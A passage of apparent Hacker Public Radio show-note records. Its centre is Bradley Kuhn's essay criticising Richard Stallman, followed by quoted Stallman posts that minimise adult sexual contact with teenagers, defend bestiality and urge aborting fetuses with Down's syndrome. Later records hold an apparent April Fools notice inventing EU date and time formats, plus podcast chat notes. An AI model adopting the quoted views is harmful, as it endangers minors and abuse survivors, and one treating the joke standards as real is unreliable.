href=\"https://web.archive.org/web/20190325024048/https://stallman.org/archives/2019-jan-apr.html#14_February_2019_(Respecting_peoples_right_to_say_no)\">the</a> <a href=\"https://www.stallman.org/archives/2019-may-aug.html#11_June_2019_(Stretching_meaning_of_terms)\">worse</a> <a href=\"https://web.archive.org/web/20190801201704/https://stallman.org/archives/2019-may-aug.html#12_June_2019_(Declining_sex_rates)\">over</a> <a href=\"https://web.archive.org/web/20190801201704/https://stallman.org/archives/2019-may-aug.html#30_July_2019_(Al_Franken)\">the</a> <a href=\"https://web.archive.org/web/20190903050208/https://stallman.org/archives/2019-jul-oct.html#27_August_2019_(Me-too_frenzy)\">last</a> <a href=\"https://web.archive.org/web/20191011023557/https://stallman.org/archives/2019-jul-oct.html#21_September_2019_(Sex_workers)\">few</a> <a href=\"https://web.archive.org/web/20180924231708/https://stallman.org/archives/2018-jul-oct.html#23_September_2018_(Cody_Wilson)\">years</a>. When the escalation started, I still considered RMS both a friend and colleague, and I attempted to argue with him at length to convince him that some of his positions were harmful to sexual assault survivors and those who are sex-trafficked, and to the people who devote their lives in service to such individuals. More importantly to the FSF, I attempted to persuade RMS that launching a controversial campaign on sexual behavior and morality was counter to his and FSF’s mission to advance software freedom, and told RMS that my duty as an FSF Director was to assure the best outcome for the FSF, which <acronym title=\"in my opinion\">IMO</acronym> didn’t include having a leader who made such statements. Not only is human sexual behavior not a topic on which RMS has adequate academic expertise, but also his positions appear to ignore significant research and widely available information on the subject. Many of his comments, while occasionally politically intriguing, lack empathy for people who experienced trauma.\r\n</p>\r\n<p>\r\nIMO, this is not and has never been a Free Speech issue. I do believe freedom of speech links directly to software freedom: indeed, I see the freedom to publish software under Free licenses as almost a corollary to the freedom of speech. However, we do not need to follow leadership from those whose views we fundamentally disagree. Moreover, organizations need not and should not elevate spokespeople and leaders who speak regularly on unrelated issues that organizations find do not advance their mission, and/or that alienate important constituents. I, like many other software freedom leaders, curtail my public comments on issues not related to <acronym title=\"Free and Open Source Software\">FOSS</acronym>. (Indeed, I would not even be commenting on <em>this issue</em> if it had not become a central issue of concern to the software freedom community.) Leaders have power, and they must exercise the power of their words with <a href=\"https://lwn.net/Articles/770966/\">restraint, not with impunity</a>.\r\n</p>\r\n<p>\r\nRMS has consistently argued that there was a campaign of \"prudish intimidation\" — seeking to keep him quiet about his views on sexuality. After years of conversing with RMS about how his non-software-freedom views were a distraction, an indulgence, and downright problematic, his general response was to make even more public comments of this nature. The issue is not about RMS’ right to say what he believes, nor is it even about whether or not you agree or disagree with RMS’ statements. The question is whether an organization should have a designated leader who is on a sustained, public campaign advocating about an unrelated issue that many consider controversial. It really doesn’t matter what your view about the controversial issue is; a leader who refuses to stop talking loudly about unrelated issues eventually creates an untenable distraction from the radical activism you’re actively trying to advance. The message of universal software freedom is a radical cause; it’s basically impossible for one individual to effectively push forward two unrelated controversial agendas at once. In short, the radical message of software freedom became overshadowed by RMS’ radical views about sexual morality.\r\n</p>\r\n<p>\r\nAnd here is where I say the thing that may infuriate many but it’s what I believe: I think RMS took a useful step by resigning some of his leadership roles at the FSF. I thank RMS for taking that step, and I wish the FSF Directors well in their efforts to assure that the FSF becomes a welcoming organization to all who care about universal software freedom. The <a href=\"https://www.fsf.org/about/\">FSF’s mission</a> is essential to our technological future, and we should all support that mission. I care deeply about that mission myself and have worked and will continue to work in our community in the best interest of the mission.\r\n</p>\r\n<p>\r\nI’m admittedly struggling to find a way to work again with RMS, given his views on sexual morality and his behaviors stemming from those views. I explicitly do not agree with <a href=\"https://web.archive.org/web/20180919100154/https://stallman.org/antiglossary.html#assult\">this \"(re-)definition\" of sexual assault</a>. Furthermore, I believe uninformed statements about sexual assault are irresponsible and cause harm to victims. #MeToo is <strong><a href=\"https://web.archive.org/web/20190903050208/https://stallman.org/archives/2019-jul-oct.html#27_August_2019_(Me-too_frenzy)\">not a \"frenzy\"</a></strong>; it is a global movement by individuals who have been harmed seeking to hold both bad actors <em>and</em> society-at-large accountable for ignoring systemic wrongs. Nevertheless, I still am proud of the <a href=\"https://www.gnu.org/philosophy/freedom-or-power.en.html\">essay that I co-wrote with RMS</a> and still find <a href=\"https://www.gnu.org/gnu/manifesto.en.html\">many</a> <a href=\"https://www.gnu.org/philosophy/free-sw.html\">of</a> <a href=\"https://www.gnu.org/philosophy/why-free.html\">RMS’</a> <a href=\"https://www.gnu.org/philosophy/pragmatic.html\">other</a> <a href=\"https://www.gnu.org/philosophy/microsoft-old.html\">essays</a> <a href=\"https://www.gnu.org/philosophy/gpl-american-way.html\">compelling</a>, <a href=\"https://www.gnu.org/licenses/why-not-lgpl.html\">important</a>, <a href=\"https://www.gnu.org/philosophy/stallman-kth.en.html\">and</a> <a href=\"https://www.gnu.org/philosophy/who-does-that-server-really-serve.en.html\">relevant</a>.\r\n</p>\r\n<p>\r\nI want the FSF to succeed in its mission and enter a new era of accomplishments. I’ve spent the last 22 years, without a break, dedicating substantial time, effort, care and loyalty to the various FSF roles that I’ve had: including employee, volunteer, at-large Director, and Voting Member. Even though my duties to the FSF are done, and my relationship with the FSF is no longer formal, I still think the FSF is a valuable institution worth helping and saving, specifically because the FSF was founded for a mission that I deeply support. And we should also realize that RMS — a human being (who is flawed like the rest of us) — invented that mission.\r\n</p>\r\n<p>\r\nAs culture change becomes more rapid, I hope we can find reasonable nuance and moderation on our complex analysis about people and their disparate views, while we also hold individuals fully accountable for their actions. That’s the difficulty we face in the post-post-modern culture of the early twenty-first century. Most importantly, I believe we must find a way to stand firm for software freedom while also making a safe environment for victims of sexual assault, sexual abuse, gaslighting, and other deplorable actions.\r\n</p>\r\n<p>\r\n</p>\r\n<p class=\"bottomAttributionWithDate\">\r\nPosted on Tuesday 15 October 2019 at 09:11 by Bradley M. Kuhn.\r\n</p>\r\n<p class=\"comments\">\r\n<p>Submit comments on this post to <a href=\"mailto:bkuhn@ebb.org\">&lt;bkuhn@ebb.org&gt;</a>.</p>\r\n<hr />\r\n<p>The following posts are authored by Richard M. Stallman and are taken from his personal site stallman.org. They were linked to in the piece you have just heard.</p>\r\n<p><a href=\"https://web.archive.org/web/20161107050933/https://www.stallman.org/archives/2016-jul-oct.html#31_October_2016_(Down\'s_syndrome)\">stallman.org 31 October 2016 (Down’s syndrome)</a> A new noninvasive test for Down’s syndrome will eliminate the small risk of the current test. This might lead more women to get tested, and abort fetuses that have Down’s syndrome. Let’s hope so! If you’d like to love and care for a pet that doesn’t have normal human mental capacity, don’t create a handicapped human being to be your pet. Get a dog or a parrot. It will appreciate your love, and it will never feel bad for being less capable than normal humans.</p>\r\n<p><a href=\"https://web.archive.org/web/20170202025227/https://www.stallman.org/archives/2016-nov-feb.html#14_December_2016_(Campaign_of_bull-headed_prudery)\">stallman.org 14 December 2016 (Campaign of bull-headed prudery)</a> A national campaign seeks to make all US states prohibit sex between humans and nonhuman animals. This campaign seems to be sheer bull-headed prudery, using the perverse assumption that sex between a human and an animal hurts the animal. That’s true for some ways of having sex, and false for others. For instance, I’ve heard that some women get dogs to lick them off. That doesn’t hurt the dog at all. Why should it be prohibited? When male dolphins have sex with people, that doesn’t hurt the dolphins. Quite the contrary, they like it very much. Why should it be prohibited? I’ve also read that female gorillas sometimes express desire for sex with men. If they both like it, who is harmed? Why should this be prohibited? The proponents of this law claim that any kind of sex between humans and other species implies that the human is a \"predator\" that we need to lock up. That’s clearly false, for the cases listed above. Making a prohibition based on prejudice, writing it in an overbroad way, is what prissy governments tend to do where sex is concerned. The next step is to interpret it too strongly with \"zero tolerance\". Will people convicted of having dogs lick them off be required to live at least 1000 feet from any dogs? This law should be changed to prohibit only acts in which the animal is physically forced to have sex, or physically injured.</p>\r\n<p><a href=\"https://web.archive.org/web/20170224174306/https://www.stallman.org/archives/2016-nov-feb.html#23_February_2017_(A_violent_sex_offender)\">stallman.org 23 February 2017 (A \"violent sex offender\")</a> The teenager who will have to register as a \"violent sex offender\" had a sexual meeting with a younger teenager. Why do people think there is something wrong with a sexual relationship between people of ages 13 and 18? The principal activity of human adolescents is sex.</p>\r\n<p><a href=\"https://web.archive.org/web/20170612074722/https://stallman.org/archives/2017-mar-jun.html#26_May_2017_(Prudish_ignorantism)\">stallman.org 26 May 2017 (Prudish ignorantism)</a> A British woman is on trial for going to a park and inviting teenage boys to have sex with her there. Her husband acted as a lookout in case someone else passed by. One teenager allegedly visited her at her house repeatedly to have sex with her. None of these acts would be wrong in any sense, provided they took precautions against spreading infections. The idea that adolescents (of whatever sex) need to be \"protected\" from sexual experience they wish to have is prudish ignorantism, and making that experience a crime is perverse.</p>\r\n<p><a href=\"https://web.archive.org/web/20170616044924/https://www.stallman.org/archives/2017-mar-jun.html#13_June_2017_(Sex_offender_registry)\">stallman.org 13 June 2017 (Sex offender registry)</a> The sex offender registry treats any sexual crime as far worse than murder.</p>\r\n<p><a href=\"https://web.archive.org/web/20171020041022/https://stallman.org/archives/2017-jul-oct.html#10_October_2017_(Laws_against_having_sex_with_an_animal)\">stallman.org 10 October 2017 (Laws against having sex with an animal)</a> European countries are passing laws against having sex with an animal. (We are talking about sex practices that don’t physically hurt the animal.) These laws have no rational basis. We know that some animals enjoy sex with humans. Others don’t. But really, if you smear something on your genitals that tastes good to dogs, and have a dog lick you off, it harms no one. Why should this be illegal except mindless religion?</p>\r\n<p><a href=\"https://web.archive.org/web/20180104112431/https://www.stallman.org/archives/2017-nov-feb.html#27_November_2017_(Roy_Moore\'s_relationships)\">stallman.org 27 November 2017 (Roy Moore’s relationships)</a> Senate candidate Roy Moore tried to start dating/sexual relationships with teenagers some decades ago. He tried to lead Ms Corfman step by step into sex, but he always respected \"no\" from her and his other dates. Thus, Moore does not deserve the exaggerated condemnation that he is receiving for this. As an example of exaggeration: one mailing referred to these teenagers as \"children\", even the one that was 18 years old. Many teenagers are minors, but none of them are children. The condemnation is surely sparked by the political motive of wanting to defeat Moore in the coming election, but it draws fuel from ageism and the fashion for overprotectiveness of \"children\". I completely agree with the wish to defeat Moore. Political Christianists such as Moore hold views that conflict essentially with human rights, just as political Islamists do. If Moore, with his extremist policies, gains public office again, he will harm millions of American women, and secondarily society as a whole. Ms Corfman says she was hurt afterward, and attributes this to feelings of guilt based on the belief that she had done something wrong (which, of course, she had not). Is this is another sign of Christianity at work? I sent a check to Doug Jones US Senate a few weeks ago. Please support his campaign too. You can mail a check here: (Address available at original link)</p>\r\n<p><a href=\"https://web.archive.org/web/20180131020215/https://stallman.org/archives/2017-jul-oct.html#29_October_2017_(Pestering_women)\">stallman.org 29 October 2017 (Pestering women)</a> A famous theater director had a habit of pestering women, asking them for sex. As far as I can tell from this article, he didn’t try to force women into sex. When women persistently said no, he does not seem to have tried to punish them. The most he did was ask. He was a pest, but nothing worse than that.</p>\r\n<p><a href=\"https://web.archive.org/web/20180509120046/https://stallman.org/archives/2018-mar-jun.html#30_April_2018_(UN_peacekeepers_in_South_Sudan)\">stallman.org 30 April 2018 (UN peacekeepers in South Sudan)</a> It sounds horrible: \"UN peacekeepers accused of child rape in South Sudan.\" But the article makes it pretty clear that the \"children\" involved were not children. They were teenagers. What about \"rape\"? Was this really rape? Or did they have sex willingly, and prudes want to call it \"rape\" to make it sound like an injustice? We can’t tell from the article which one it is. Rape means coercing someone to have sex. Precisely because that is a grave and clear wrong, using the same name for something much less grave is a distortion.</p>\r\n<p><a href=\"https://web.archive.org/web/20180911075211/https://www.stallman.org/archives/2018-jul-oct.html#17_July_2018_(The_bullshitter\'s_flirting)\">stallman.org 17 July 2018 (The bullshitter’s flirting)</a> We are now invited to despise the bullshitter for telling a 17-year-old woman at a party that he found her attractive. We can hardly assume that the bullshitter’s boasts were true. Even men who are usually honest on other topics have been known to lie about their sexual achievements. However, I wouldn’t assume they were false, or that he did an injustice to anyone at these parties. In a group of 50 models, there could well be some that would eagerly go to bed with a rich man, either to boost their careers or for a lark. If you condemn men for finding teenage female models attractive, you might as well condemn men for being heterosexual. The bully may be predatory, but it appears he didn’t display this overtly at those parties. There are indications that he arbitrarily chose the winners of the Miss USA beauty contest while he owned it. That would be a real wrong, since it would have made the contest dishonest. I understand the desire to condemn the bullshitter on every aspect of his life, but it is no excuse for ageism. If you can understand that we shouldn’t dictate people’s gender preferences, you should understand that we shouldn’t dictate their age preferences either. There are plenty of tremendously important reasons to condemn the bully. He is attacking workers’ rights, abortion rights, non-rich people’s pensions and medical care, the environment, human rights, and democracy, even the idea of truth. Let’s focus on those real reasons.</p>\r\n<p><a href=\"https://web.archive.org/web/20180911075211/https://www.stallman.org/archives/2018-jul-oct.html#21_August_2018_(Age_and_attraction)\">stallman.org 21 August 2018 (Age and attraction)</a> Research found that men generally find females of age 18 the most attractive. This accords with the view that Stendhal reported in France in the 1800s, that a woman’s most beautiful years were from 16 to 20. Although this attitude on men’s part is normal, the author still wants to present it as wrong or perverted, and implicitly demands men somehow control their attraction to direct it elsewhere. Which is as absurd, and as potentially oppressive, as claiming that homosexuals should control their attraction and direct it towards to the other sex. Will men be pressured to undergo \"age conversion therapy\" intended to brainwash them to feel attracted mainly to women of their own age?</p>\r\n<p><a href=\"https://web.archive.org/web/20180919100154/https://stallman.org/antiglossary.html#assult\">stallman.org Anti-Glossary Sexual assault: </a> this term is so broad that using it is misleading. The term includes rape, groping, sexual harassment, and other acts. These acts are not merely different in degree. They are different in kind. Rape is a grave crime. Being groped is unpleasant but not as grave as robbery. Sexual harassment is a not an action at all, but rather a pattern of actions that constitutes economic unfairness. How can it make sense to group these behaviors things together? It never makes sense. News articles, studies, and laws should avoid that term.</p>\r\n<p><a href=\"https://web.archive.org/web/20180924231708/https://stallman.org/archives/2018-jul-oct.html#23_September_2018_(Cody_Wilson)\">stallman.org 23 September 2018 (Cody Wilson)</a> Cody Wilson has been charged with hiring a \"child\" sex worker. Her age has not been announced, but I think she must surely be a teenager, not a child. Calling teenagers \"children\" in this context is a way of smearing people with normal sexual proclivities as \"perverts\". They have accused him of \"sexual assault\", a term so vague that it should never be used at all. With no details, we can’t tell whether the alleged actions deserve that term. What we do know is that the term is often used for a legal lie. She may have had — I expect, did have — entirely willing sex with him, and they would still call it \"assault\". I do not like the idea of 3D-printed guns, but that issue is entirely unrelated to this.</p>\r\n<p><a href=\"https://web.archive.org/web/20181113161736/https://www.stallman.org/archives/2018-sep-dec.html#6_November_2018_(Sex_according_to_porn)\">stallman.org 6 November 2018 (Sex according to porn)</a> The unrealistic picture of sex presented in most porn harms men as well as women in their sex lives (though in different ways). Their sexual miseducation starts in adolescence, but many never learn better. Our society’s taboo cuts adolescents off from any way to learn about sexual relationships and lovemaking other than from porn and from other confused adolescents. Everyone learns the hard way, often slowly, and in many cases learns bad lessons. The more effective the taboo, the deeper the ignorance. In 18th century France, teenage girls of good family emerged totally sexually innocent from education in a convent. Totally innocent and totally exploitable (see Dangerous Liaisons). Contrast this with Marquesan society, where adolescents are not kept ignorant by a taboo on sex. They have various relationships with lovers of their choice, so they have many opportunities to see what pleases and what doesn’t. Any one lover can please them more, or please them less, but can’t mislead them — they have standards for comparison. In that society, even adolescents understand lovemaking better than a lot of American adults. Inevitably, everyone starts out ignorant; the question is, how can society offer people a path which leads them to learn to do things well, rather than learning painfully to do them badly.</p>\r\n<p><a href=\"https://web.archive.org/web/20190325024048/https://stallman.org/archives/2019-jan-apr.html#14_February_2019_(Respecting_peoples_right_to_say_no)\">stallman.org 14 February 2019 (Respecting people’s right to say no)</a> Writer Yann Moix said that he cannot be attracted to women in their 50s, and people are condemning him, claiming he has an obligation to be attracted to them. You might as well demand that a homosexual be attracted to people not of the same sex. Or that a heterosexual be attracted to people that are of the same sex. There is no arguing about tastes. If we respect people’s right to say no, we should not rebuke them when they do. Of course, many people (especially men, but not only) despise those they find unattractive. That is a mean way to treat people who haven’t done anything wrong. But being unattracted by someone is not the same as despising per. Yann Moix understands this.</p>\r\n<p><a href=\"https://web.archive.org/web/20190801201704/https://stallman.org/archives/2019-may-aug.html#12_June_2019_(Declining_sex_rates)\">stallman.org 12 June 2019 (Declining sex rates)</a> Many demographic categories report having sex less now than in the past. It might be due to the general stress and anxiety of life in the advanced countries. I suspect it is also due to the lack of any generally accepted way for men to express romantic or sexual interest in women. By \"generally accepted\", I mean that he can count on a woman who declines his interest not to revile him for expressing it that way.</p>\r\n<p><a href=\"https://web.archive.org/web/20190801201704/https://stallman.org/archives/2019-may-aug.html#30_July_2019_(Al_Franken)\">stallman.org 30 July 2019 (Al Franken)</a> Al Franken now regrets resigning from the Senate. Some senators that pushed him to resign now regret that too. The first (main) article does not state clearly whether Franken touched Tweeden in the process of making the photo, but it seems he did not. If that is correct, it was not a sexual act at all. It was self-mocking humor. The photograph depicted a fictional sexual act without her fictional consent, but making the photo wasn’t a sexual act. If it is true that he persistently pressured her to kiss him, on stage and off, if he stuck his tongue into her mouth despite her objections, that could well be sexual harassment. He should have accepted no for an answer the first time she said it. However, calling a kiss \"sexual assault\" is an exaggeration, an attempt to equate it to much graver acts, that are crimes. The term \"sexual assault\" encourages that injustice, and I believe it has been popularized specifically with that intention. That is why I reject that term. Meanwhile, Franken says he did not do those things, and the other actors he previously did the same USO skit with said it was not harassment, just acting. Tweeden’s store is clearly false in many details. Should we assume Tweeden was honest? With so many demonstrated falsehoods in her accusations, and given that she planned them with other right-wing activists, and that all of them follow a leader who lies as a tactic every day, I have to suspect that she decided to falsify accusations through exaggeration so as to kick a strong Democrat out of the Senate. I have no proof of that suspicion. It is possible that she made the accusations honestly. Also, in a hypothetical world, someone might really have done them. Supposing for the moment that those accusations were true, should Franken have resigned over them? I don’t think so. They are misjudgments, not crimes. Franken deserved the chance to learn from the criticism that surprised him. Zero tolerance is a very bad way to judge people. However, the most important point is to reject the position that if B feels hurt by what A said or did, then automatically A is wrong. People judged Franken that way, and he judged himself that way. But that way degrades the concept of \"wrong\" into a mere expression of subjective disapproval. What can legitimately be asserted subjectively can legitimately be ignored subjectively too. To judge A that way is to set B up as a tyrant. If B’s feelings were hurt, that’s unfortunate – but is that A’s fault? If so, was it culpable, or just a mistake? That is what we have to judge, and if we want others to think our judgments worth following, they must be based on objective facts and objective standards, including objective standards for what words and gestures objectively mean. Traister is wrestling with a solvable problem. She says, \"When you change rules, you end up penalizing people who were caught behaving according to the old rules.\" Maybe people do, but that is a sign of carelessness. It isn’t really hard to change the rules and then judge old actions by the old rules. We just have to remember to do so.</p>\r\n<p><a href=\"https://web.archive.org/web/20190903050208/https://stallman.org/archives/2019-jul-oct.html#27_August_2019_(Me-too_frenzy)\">stallman.org 27 August 2019 (Me-too frenzy)</a> In \"me-too\" frenzy, crossed signals about sex can easily be inflated into \"rape\". If people rush to judgment, in an informal way, that can destroy a man’s career without any trial in which to clear his name.</p>\r\n<p><a href=\"https://web.archive.org/web/20191011023557/https://stallman.org/archives/2019-jul-oct.html#21_September_2019_(Sex_workers)\">stallman.org 21 September 2019 (Sex workers)</a> Today’s Sex Workers, Like Their Victorian Sisters, Don’t Want \"saving\". Feminism today is drifting off the track into a campaign of prudery that harms everyone, except those who are asexual.</p>\r\n<p><a href=\"https://www.stallman.org/archives/2019-may-aug.html#11_June_2019_(Stretching_meaning_of_terms)\">stallman.org 11 June 2019 (Stretching meaning of terms)</a> Should we accept stretching the terms \"sexual abuse\" and \"molestation\" to include looking without touching? I do not accept it.</p>\r\n\r\n',393,0,1,'CC-BY-SA','Bradley M. Kuhn, Richard M. Stallman, RMS, FSF, Free Software Foundation',0,0,1),
(3304,'2021-04-01','Newsflash 21/01/04',178,'An upgrade to some standard information formats','<h2 id=\"introduction\">Introduction</h2>\r\n<p>After many years of confusion it has been decided to produce a common standard for dates and times between Europe and the United States of America.</p>\r\n<p>When encountering a USA date such as 03/14/2021 (known as <em>Pi Day</em> in the USA) there has been ambiguity over which part of the date is the day and which the month. There can also be confusion as to the year if the two-digit form is used.</p>\r\n<p>Standardisation is a way in which these sorts of ambiguities can be resolved. Having a common method of representation avoids confusion.</p>\r\n<p>Therefore, starting in 2021, in the spirit of clarity and prevention of misunderstanding, the EU has decided to standardise on compatible formats wherever possible.</p>\r\n<h3 id=\"dates\">Dates</h3>\r\n<p>Henceforward dates will be represented in one of the following forms:</p>\r\n<pre><code>MM/DD/YY    month/day of month/two-digit year\r\n\r\nYY/DD/MM    two-digit year/day of month/month</code></pre>\r\n<p>Thus, 21/14/03 or 03/14/21 will be universally recognised as <em>Pi Day</em>.</p>\r\n<h3 id=\"times\">Times</h3>\r\n<p>The break from the previous tyranny of <b>large</b>|<b>medium</b>|<b>small</b> or <b>small</b>|<b>medium</b>|<b>large</b> formats has been extended to 24-hour time representations.</p>\r\n<p>Henceforward 24-hour times will be represented in one of the following forms:</p>\r\n<pre><code>SS:HH:MM    seconds:hours:minutes\r\n\r\nMM:HH:SS    minutes:hours:seconds</code></pre>\r\n<h3 id=\"support\">Support</h3>\r\n<p>Bash already introduced support last year. You will need to update to Ubuntu Falex to get the latest version.</p>\r\n<h3 id=\"future-plans\">Future plans</h3>\r\n<p>The Standardisation Working Group will be planning other measures.</p>\r\n<p>Forthcoming rationalisations will be:</p>\r\n<ul>\r\n<li>Weights and Measures:\r\n<ul>\r\n<li>Discrepancies such as the US pint (16 fluid ounces) versus the British pint (20 fluid ounces)</li>\r\n</ul></li>\r\n<li>Temperature:\r\n<ul>\r\n<li>Fahrenheit versus Centigrade, replaced by the new <em>Eurotemp</em> which straddles both ranges. The choice might be the Rankine scale (°R), but this has yet to be decided.</li>\r\n</ul></li>\r\n</ul>\r\n',393,0,0,'CC-BY-SA','date,time,formats',0,0,1),
(3312,'2021-04-13','COVID Doldrums',4288,'MrX and Dave Morriss have a chat over Mumble in these trying times','<h2 id=\"introduction\">Introduction</h2>\r\n<p>Hosts:</p>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\">MrX</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\">Dave Morriss</a></li>\r\n</ul>\r\n<p>We had some issues with getting Mumble to work, for reasons we couldn’t quite fathom. Both ends needed to be restarted several times until all worked properly.</p>\r\n<p>We recorded this on Sunday March 7<sup>th</sup> 2021. The last time we set up a chat like this was back in August 2020, surprisingly!</p>\r\n<p><small>Note on the title: the term <em>the doldrums</em> refers to a belt around the equator where sailing ships used to be becalmed due to the lack of wind. It also means a state of inactivity or stagnation, or a dull, listless, depressed mood; low spirits. </small></p>\r\n<h2 id=\"topics-discussed\">Topics discussed</h2>\r\n<ul>\r\n<li>Pandemic (1):\r\n<ul>\r\n<li>Planning for pandemics</li>\r\n<li>Years ago parents used to let children catch chickenpox when it was known somebody had it (<a href=\"https://en.wikipedia.org/wiki/Pox_party\">pox party</a>).</li>\r\n<li>Did COVID-catching parties really happen? <a href=\"https://en.wikipedia.org/wiki/Coronavirus_party\">Wikipedia page on alleged COVID parties</a>.</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Christmas/New Year:\r\n<ul>\r\n<li>Dave:\r\n<ul>\r\n<li>Cooked a fancy vegetarian meal twice! On Boxing Day and New Years Day. Second time was a joint effort. Getting everything coordinated is easier when there are several contributors!</li>\r\n</ul></li>\r\n<li>MrX:\r\n<ul>\r\n<li>Had long break because like many I hadn’t taken many holidays</li>\r\n<li>Spent first part of holiday upgrading devices around the house</li>\r\n<li>I had a nice relaxing break and spent Christmas with my mother, she lives on her own.</li>\r\n<li>Visit to the dentist was interesting, wondering how they were going to cope with aerosol spray from the drill. The answer was they didn’t. Rough edge smoothed, they told me they will contact me when things settle down and said I was right to get it checked. If any pain or further break then will be moved into a different category where they do use drill with full PPE.</li>\r\n</ul></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Pandemic (2):\r\n<ul>\r\n<li>Dave:\r\n<ul>\r\n<li>Vaccination received on 2020-02-02 (<a href=\"https://en.wikipedia.org/wiki/Oxford%E2%80%93AstraZeneca_COVID-19_vaccine\">Oxford/AstraZeneca</a>)</li>\r\n<li>Probably getting second in late April or early May; not heard yet</li>\r\n<li>Still avoiding going out for the moment</li>\r\n<li>The deleterious effects of the lock down; trying to walk on a regular basis to counteract these and get exercise</li>\r\n<li>Meeting up with the rest of the family several times per week for dinner, etc.</li>\r\n</ul></li>\r\n<li>MrX:\r\n<ul>\r\n<li>Horizon things we now know about COVID</li>\r\n<li>Don’t know how long the vaccine protects against virus spreading but likely to protect against serious illness for a good long time.</li>\r\n<li>12 weeks between jabs: 2nd jab does not provoke a stronger response; it’s that the 1st jab produces good responses and poor responses but by waiting 12 weeks for the 2nd jab it only provokes the good responses.</li>\r\n<li>Think the UK has among the worst death rate in Europe</li>\r\n<li>Like Dave continuing to avoid the virus as before.</li>\r\n<li>Seems to be getting more difficult coping with lock down</li>\r\n<li>Haven’t been into work since last November, working from home</li>\r\n<li>Home working, clutter, stress, not taking enough breaks</li>\r\n<li>Glad I didn’t need to drive during all the bad weather</li>\r\n<li>Think I heard on a podcast recently that Linux use had dropped by 50%, could this be linked to people working from home. I would say this is true for myself</li>\r\n<li>Except for me all immediate family have been vaccinated</li>\r\n<li>Way to stay positive tip from something Mrs X read\r\n<ul>\r\n<li>Three things at the end of each day that were a highlight or something that we are grateful for.</li>\r\n<li>This may say something about my personality but for me the highlights often relate to food.</li>\r\n</ul></li>\r\n<li>Can’t go outside our own region.</li>\r\n</ul></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Weather in &amp; around Edinburgh:\r\n<ul>\r\n<li>Some snow in the past few months. More than Edinburgh tends to have.</li>\r\n<li>Methods of clearing snow on driveways. Snow shovels - mainly plastic unfortunately.</li>\r\n<li>Thoughts about making a home-made shovel out of metal for durability.</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li><em>To Do</em> lists and <code>Taskwarrior</code>:\r\n<ul>\r\n<li>Jeroen Baten did a <a href=\"https://hackerpublicradio.org/eps.php?id=3226\">show about Taskwarrior</a> in December 2020.</li>\r\n<li>Dave has been trying to use <a href=\"https://taskwarrior.org/\"><code>taskwarrior</code></a> regularly. There’s a feeling of achievement when a task is done!</li>\r\n<li>MrX has tried various solutions including paper. Taskwarrior doesn’t fit with many modes of working.</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Laptops and Chromebooks:\r\n<ul>\r\n<li>MrX has money to spend on either of these, and is debating what to buy</li>\r\n<li>Dave has an Entroware laptop but mainly uses a desktop system</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Technology:\r\n<ul>\r\n<li>Hand warmers:\r\n<ul>\r\n<li>MrX has a new electric hand warmer</li>\r\n<li>Dave only has experience of the reusable gel ones that release heat as they crystallise</li>\r\n<li>Talk of other technologies: single use warmers, fuelled Zippo warmers</li>\r\n</ul></li>\r\n<li><a href=\"https://www.raspberrypi.org/blog/raspberry-pi-silicon-pico-now-on-sale/\">Raspberry Pi Pico</a>:\r\n<ul>\r\n<li>Dave has one of these. It’s a microcontroller that costs £3.60. Not in use yet though.</li>\r\n<li>The keypad isn’t 16×16 but 4×4 – 16 keys, not 256! It’s from Pimoroni, the <a href=\"https://shop.pimoroni.com/products/pico-rgb-keypad-base\">RGB Keypad Base</a>.</li>\r\n</ul></li>\r\n<li>The <a href=\"https://en.wikipedia.org/wiki/R_(programming_language)\">R Programming Language</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,0,1,'CC-BY-SA','COVID-19',0,0,1),
(3317,'2021-04-20','Reading a manifesto: Towards A Cooperative Technology Movement',1015,'If open source misses the point of free software philosophy, what point is free software missing?','<p>Three good decades ago, Richard Stallman founded the free software movement and gave it a name.</p>\r\n<p>Two good decades ago there was a fork and Eric S. Raymond, Bruce Perens and others founded the open\r\nsource software movement, and neglected to tell us who gave it a name.\r\n(it was Christine Peterson<a href=\"#footnote0\">[0]</a>)</p>\r\n<p>Ever since then, the free software side of the two movements has been careful to guard the boundary\r\nbetween the two, see Richard Stallman\'s essay \"<em>Open Source Misses the Point</em>\".<a href=\"#footnote1\">[1]</a></p>\r\n<p>But lately a lot of people have increasingly been feeling that <em>free software</em> misses the point.\r\nIronically a lot of this has been coming from the <em>open source</em> side of things, as the official free\r\nsoftware philosophy has been firmly anchored with Stallman, and he hasn\'t been interested in moving\r\nhis philosophy in more inclusive directions.</p>\r\n<p>For sure, there are a lot of people in free software who have been wanting to go in this direction\r\nas well. I\'ve been thinking of it as a \"free software plus\", as it builds on the free software\r\nphilosophy, but adds aspects of social responsibility. The fact that Stallman was forced to resign\r\nfrom being Free Software Foundation president two years ago was a sign that people inside free\r\nsoftware cared about more than just the code and what freedoms it gives the recipient.</p>\r\n<p>A month ago, if you are listening to this on April the 20th 2021,\r\na manifesto was published called \"<em>Towards A Communal Software Movement</em>\", and I\'ll get to\r\nthat in a minute. I mentioned the names of the drivers of the previous movements, but this author\r\nhas said \"I intentionally left authors\' names out of it\"<a href=\"#footnote2\">[2]</a>, and I think that makes sense. Part of the\r\nproblems with previous movements has been this Great Man of History fallacy, which may have kept\r\nthem focused and on track, but it has also held them back.</p>\r\n<p>The movement is young and has already changed names once as I was writing about it. The manifesto is\r\nnow \"<em>Towards A Cooperative Technology Movement</em>\", and I have updated the shownotes and my commentary\r\nto reflect that.</p>\r\n<p><a href=\"https://misskey.de/notes/8k0igd5tcd\">https://misskey.de/notes/8k0igd5tcd</a></p>\r\n<p>I see the difference between free software and cooperative technology similarly as the difference\r\nbetween open source and free software.</p>\r\n<p>There are certainly people within open source and on the Open Source Initiative board that look\r\nfurther than just the license, and treat open source like just another brand name for free software.</p>\r\n<p>But at its core, the Open Source Definition is all about the licensing and that document is the\r\nshared common ground for all open source. People write code for different reasons and there\'s a\r\nlicense and contribution model that allow them to come together without those differences of purpose\r\ngetting too much in the way.</p>\r\n<p>So if the software and the license is \"what\" we\'re building, the philosophical documents of 